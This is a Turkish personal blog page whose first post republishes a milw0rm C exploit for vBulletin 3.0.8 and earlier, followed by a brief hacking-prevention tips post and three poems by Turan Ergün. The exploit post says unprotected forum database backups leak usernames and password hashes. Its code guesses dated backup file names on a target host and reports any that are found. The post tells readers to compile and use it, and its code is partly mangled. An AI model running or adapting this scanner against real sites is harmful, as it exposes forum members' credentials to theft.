VBulletin backup.php Açığ

VBulletin backup.php Açığı


backup.php scriptinde çok güzel bir açık var.
vertabanı yedeğini alırker şifre istemior.
eğer site sahibi veya admin default adlı klasörün uzantısıyla oynamamışsa bir üye bunu tahmin edebilip indirebiliyo.
bu dosyanın içindede her kullanıcının
kullanıcı adı
şifre hashleri
ve birçok özeli var
Exploit ; #include
#include
#include #include
#include
#include
#include

#define SERVER_PORT 80

char *getdate(int b){
static char datestring[40];
time_t ttt;
int minustime;
minustime=86400 * b;
ttt=time(NULL)- minustime;
strftime (datestring, sizeof(datestring), "%m-%d-%Y", localtime(&ttt));
printf("Searching: forumbackup-%s.sqln", datestring);
return(datestring);
}

char *getdate2(int b){
static char datestring[40];
time_t ttt;
int minustime;
minustime=86400 * b;
ttt=time(NULL)- minustime;
strftime (datestring, sizeof(datestring), "%Y-%d-%m", localtime(&ttt));
printf("Searching: forumbackup-%s.sqln", datestring);
return(datestring);
}

char *getdate3(int b){
static char datestring[40];
time_t ttt;
int minustime;
minustime=86400 * b;
ttt=time(NULL)- minustime;
strftime (datestring, sizeof(datestring), "%d-%m-%Y", localtime(&ttt));
printf("Searching: forumbackup-%s.sqln", datestring);
return(datestring);
}

char *getdate4(int b){
static char datestring[40];
time_t ttt;
int minustime;
minustime=86400 * b;
ttt=time(NULL)- minustime;
strftime (datestring, sizeof(datestring), "%m.%d.%Y", localtime(&ttt)); // hals1
printf("Searching: forumbackup-%s.sqln", datestring);
return(datestring);
}

char *getdate5(int b){
static char datestring[40];
time_t ttt;
int minustime;
minustime=86400 * b;
ttt=time(NULL)- minustime;
strftime (datestring, sizeof(datestring), "%Y.%d.%m", localtime(&ttt)); // hals1
printf("Searching: forumbackup-%s.sqln", datestring);
return(datestring);
}

char *getdate6(int b){
static char datestring[40];
time_t ttt;
int minustime;
minustime=86400 * b;
ttt=time(NULL)- minustime;
strftime (datestring, sizeof(datestring), "%d.%m.%Y", localtime(&ttt)); // hals1
printf("Searching: forumbackup-%s.sqln", datestring);
return(datestring);
}

char *getdate7(int b){
static char datestring[40];
time_t ttt;
int minustime;
minustime=86400 * b;
ttt=time(NULL)- minustime;
strftime (datestring, sizeof(datestring), "%d%m%Y", localtime(&ttt)); // Tyn0r
printf("Searching: forumbackup-%s.sqln", datestring);
return(datestring);
}

main(int argc, char *argv[]) {

char buffer[1000],host[255],path[255],dog[255],c;
int sd, rc, i=0, d=0, b;
struct sockaddr_in localAddr, servAddr;
struct hostent *h;

char *http =
"Accept: */*rn"
"Accept-Language: en-us,en;q=0.5rn"
"Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7rn"
"User-Agent: we want your backups - milw0rmrn"
"Connection: closernrn";

if ( argc != 5) {
printf("vBulletin <= 3.0.8 Accessible Database Backup Searcher /str0ke ! milw0rm.comn");
printf("usage: %s -h hostname/ip -p /path/ n",argv[0]);
exit(0);
}


while ((c = getopt (argc, argv, "h:" != EOF)
switch(c)
{
case ’h’:
strncpy(host,optarg,sizeof(host));
break;
case ’p’:
strncpy(path,optarg,sizeof(path));
break;
}

h = gethostbyname(host);

if(h==NULL) {
printf("Unknown Host ’%s’n",host);
exit(1);
}

printf("Trying To Connect To [%s]n",host);
while(1){
servAddr.sin_family = h->h_addrtype;
memcpy((char *) &servAddr.sin_addr.s_addr, h->h_addr_list[0], h->h_length);
servAddr.sin_port = htons(SERVER_PORT);
sd = socket(AF_INET, SOCK_STREAM, 0);

if(sd<0) {
perror("Can Not Open The Socketn");
exit(1);
}

localAddr.sin_family = AF_INET;
localAddr.sin_addr.s_addr = htonl(INADDR_ANY);
localAddr.sin_port = htons(0);

rc = bind(sd, (struct sockaddr *) &localAddr, sizeof(localAddr));

if(rc<0) {
printf("%d: cannot bind port TCP %un",sd,SERVER_PORT);
perror("error ");
exit(1);
}

rc = connect(sd, (struct sockaddr *) &servAddr, sizeof(servAddr));

if(rc<0) {
perror("cannot connectn");
exit(1);
}
memset(buffer,0,sizeof(buffer));

if ( d == 0 ) {
snprintf(buffer,sizeof(buffer), "HEAD %s/forumbackup-%s.sql HTTP/1.1rnHost: %srn%s",path,getdate(i),host,http);
} else if ( d == 1 ) {
snprintf(buffer,sizeof(buffer), "HEAD %s/forumbackup-%s.sql HTTP/1.1rnHost: %srn%s",path,getdate2(i),host,http);
} else if ( d == 2 ) {
snprintf(buffer,sizeof(buffer), "HEAD %s/forumbackup-%s.sql HTTP/1.1rnHost: %srn%s",path,getdate3(i),host,http);
} else if ( d == 3 ) {
snprintf(buffer,sizeof(buffer), "HEAD %s/forumbackup-%s.sql HTTP/1.1rnHost: %srn%s",path,getdate4(i),host,http);
} else if ( d == 4 ) {
snprintf(buffer,sizeof(buffer), "HEAD %s/forumbackup-%s.sql HTTP/1.1rnHost: %srn%s",path,getdate5(i),host,http);
} else if ( d == 5 ) {
snprintf(buffer,sizeof(buffer), "HEAD %s/forumbackup-%s.sql HTTP/1.1rnHost: %srn%s",path,getdate6(i),host,http);
} else if ( d == 6 ) {
snprintf(buffer,sizeof(buffer), "HEAD %s/forumbackup-%s.sql HTTP/1.1rnHost: %srn%s",path,getdate7(i),host,http);
}

rc = send(sd,buffer, strlen(buffer), 0);
memset(buffer,0,sizeof(buffer));

while(1)
{
rc=recv(sd,buffer,sizeof(buffer),0);
if(strstr(buffer,"404" break;
if(strstr(buffer,"200 OK"
{
if ( d == 0 ) {
printf("Database backup found: %s%sforumbackup-%s.sqln", host, path, getdate(i));
}
if ( d == 1 ) {
printf("Database backup found: %s%sforumbackup-%s.sqln", host, path, getdate2(i));
}
if ( d == 2 ) {
printf("Database backup found: %s%sforumbackup-%s.sqln", host, path, getdate3(i));
}
if ( d == 3 ) {
printf("Database backup found: %s%sforumbackup-%s.sqln", host, path, getdate4(i));
}
if ( d == 4 ) {
printf("Database backup found: %s%sforumbackup-%s.sqln", host, path, getdate5(i));
}
if ( d == 5 ) {
printf("Database backup found: %s%sforumbackup-%s.sqln", host, path, getdate6(i));
}
if ( d == 6 ) {
printf("Database backup found: %s%sforumbackup-%s.sqln", host, path, getdate7(i));
}
exit(0);
}
memset(buffer,0,sizeof(buffer));
}
close(sd);

if ( d < 6 ) {
d++;
} else {
d=0;
i++;
}
}
}

Kaynak:turkishajan.org
yukaridaki Cohttp://www.turkishajan.orgde ( C ) Linux da derleyip kullanabilirsiniz..

1/5/2009 | Kategori: (Web Siteleri Güvenlik) | Yorum ( 0 ) Yorum yaz! Baglanti

Hacklenmemek için ufak Bilgiler

Hacklenmemek için ufak Bilgiler


Siteler için;
Html için;
Html sayfaların hacklenme riski yok denecek kadar azdır.Sayfada herhangi bir veri tabanı olmadığı için hack riski azdır.Ama sunuculardan yapılan mudahalelerle hacklenebilir.Nasıl mı?Serverda bazen 1000 lerce site olabilir.Bu sitelerin herhangi birine sızmak o serverda root olmak sizin de hacklenme riskiniz olduğunu gösterir.
Php için;Php de rfi denilen parametlereden oluşan açıklar vardır.Örneğin
include once dizinlerinde bulunan $ parametreler scriptte rfi nın olabileceğini gösterir.Bu da önemli bir tehtit haline gelebilir.
asp için;Asp için davs açıpı denen web klasörden erişim izni diye de bilinen açık olabilir.
sql;Sayfaya hata verdirilerek admin yetkisine kavuşmakta denilebilir.
PC CASUSLUĞUNU ENGELLEMEK;
Bazen kredi kartımızın veya bankamatiğimizdeki paraların boşaltığını görebiliriz.Neden acaba dediğiniz de bu bilgiyi okumanız yeterli.
Bir çok kredi kartı hırsızı büyük sitelerin kaynak kodlarına trojan keylogger gibi casus yazılımlar yükleyebilir.Bizlerde bu sitelere giriş yaptığımızda bize bulaşabilir.Bulaştıktan sonra herhangi bir online alıverişinizde kredi kartı bilgileriniz bu kişilerin eline geçmesine neden olabilir.
Bundan nasıl kurtuluruz.Mozilla firefox 3 sürümlerini kullanmanızı tavsiye ediyorum.Ayrıca internette bilmediğiniz güvenmediğiniz sitelerden asla alışveriş yapmayın.

Alıntı Kaynak:http://www.turkishajan.org

1/5/2009 | Kategori: (Web Siteleri Güvenlik) | Yorum ( 0 ) Yorum yaz! Baglanti

CANPARÇAM

Şiirin Videosu

 http://www.dailymotion.com/video/x869m1_can-parcamturan-ergun_music


CANPARÇAM

Canparçam Kar değil bembeyaz gökten gül yağsa
Sen yoksan ben avuç açmam canparçam
Yağmurlar yerine gökten bal yağsa
Sen yokken bir yudum içmem canparçam

Gizli bir keramet var dudağında
Gül açar öptüğün yerden bir anda
Yaprağa dönüşür kabuk yaramda
Sen varken yıkılmam göçmem canparçam

Ay güneş yüzünü tek bana dönse
Gökten asansörle melekler inse
Hiç şüphen olmasın sevenin bense
Senden başkasını seçmem canparçam

Müthiş bir sıcaklık var yüreğinde
Düşmeden eriyor kar yüreğinde
Ruhumu sımsıcak sar yüreğinde
Ömrümce üstümü açmam canparçam

Yıllarca şu gönlüm aşka aç kalsa
Şükrederim senden bir tel saç kalsa
Hatıra saklamak bile suç olsa
En büyük cezadan kaçmam canparçam

TURAN ERGÜN


31/1/2009 | Kategori: Siir Video | Yorum ( 1 ) Yorum yaz! Baglanti

ISLAK YÜREK




ISLAK YÜREK


Dün gece dertlerimi topladım kaba taslak
Yüreğim bulutlardan gördüm ki daha ıslak
İçimde çürüyecek bu halde bırakırsak
Gölgede kurumuyor güneşe ser İstanbul

Yüreğime dikmişim gül sanıpta ayrığı
Kırmızıya boyamış dikenlerin sıyrığı
Görsün asya avrupa içimdeki bayrağı
Aleme ibret olsun köprüye ger İstanbul

Götür de sevdiğime dikenleri geri ver
Fırtına gösteriyor gelen bütün veriler
Sulara gömülmeden kahve rengi gemiler
Bana kapıyı göster şehirden sür İstanbul

Bakarsın şansım döner meçhule giden yolda
Kimbilir bahar gelir çiçeğim açar dalda
Aşkla uçan arıya petekte çıkar balda
Yakında müjdem gelir beklede gör İstanbul

Bakarsın seven çıkar benim hiç bilmediğim
Görürsün erken çıkar tahminim her dediğim
Adresimi sorarsa canımda fer dediğim
Kalmasın ayak izim, yerlere göm İstanbul

Adresimi sorarsa canımsın yar dediğim
Aramızda sır kalsın maziye göm İstanbul


TURAN ERGÜN

5/1/2009 | Kategori: -seçme resimli şiirler- | Yorum ( 1 ) Yorum yaz! Baglanti

BULMACA ŞİİR


BULMACA


Söyleyin ben kimim neyin nesiyim
Hangi gazetenin ilavesiyim?
Hayatın garip müsvettesiyim
Boşluğa atılmış boynu büküğüm

Göğsünden vurulmuş bir bulmacayım
Yüreğimde dikiş tutmaz söküğüm
Solumdan sağıma paramparçayım
Yukardan aşağı yıkık döküğüm

Biri geldi çözmek için can attı
Kalemiyle can evimi kanattı
Oysa beni çözebilmek sanattı
Tepeden tırnağa parça bölüğüm

En hafif silahtı kurşun kalemi
Delik deşik etti bütün karemi
Haritaya çevirdi kalp küremi
Acıların ili, ilçesi, köyüyüm

Var mı aranızda çözmek isteyen
Buyursun sol yanımda gezmek isteyen
Alnıma beyaz yazı yazmak isteyen
Çözmeyi bilen ellerin tüyüyüm

Şunu bil ki sınavımda farklı kaide
Sonra beni uyarmadı deme de!
Bir yanlış üç doğru götürür bende
Hayat üniversitesi (YÖK)üyüm

Kimine göre ben delinin tekiyim
Kimine göre belki biraz zekiyim
Vuslat karnemde olmadı pekiyim
Ekose gömleğimde lekeyim

TURAN ERGÜN

17.12.2008

18/12/2008 | Kategori: Resimli Siirler | Yorum ( 3 ) Yorum yaz! Baglanti

<<Önceki Sayfa |1/80|Sonraki Sayfa>>

Bağlantılar

<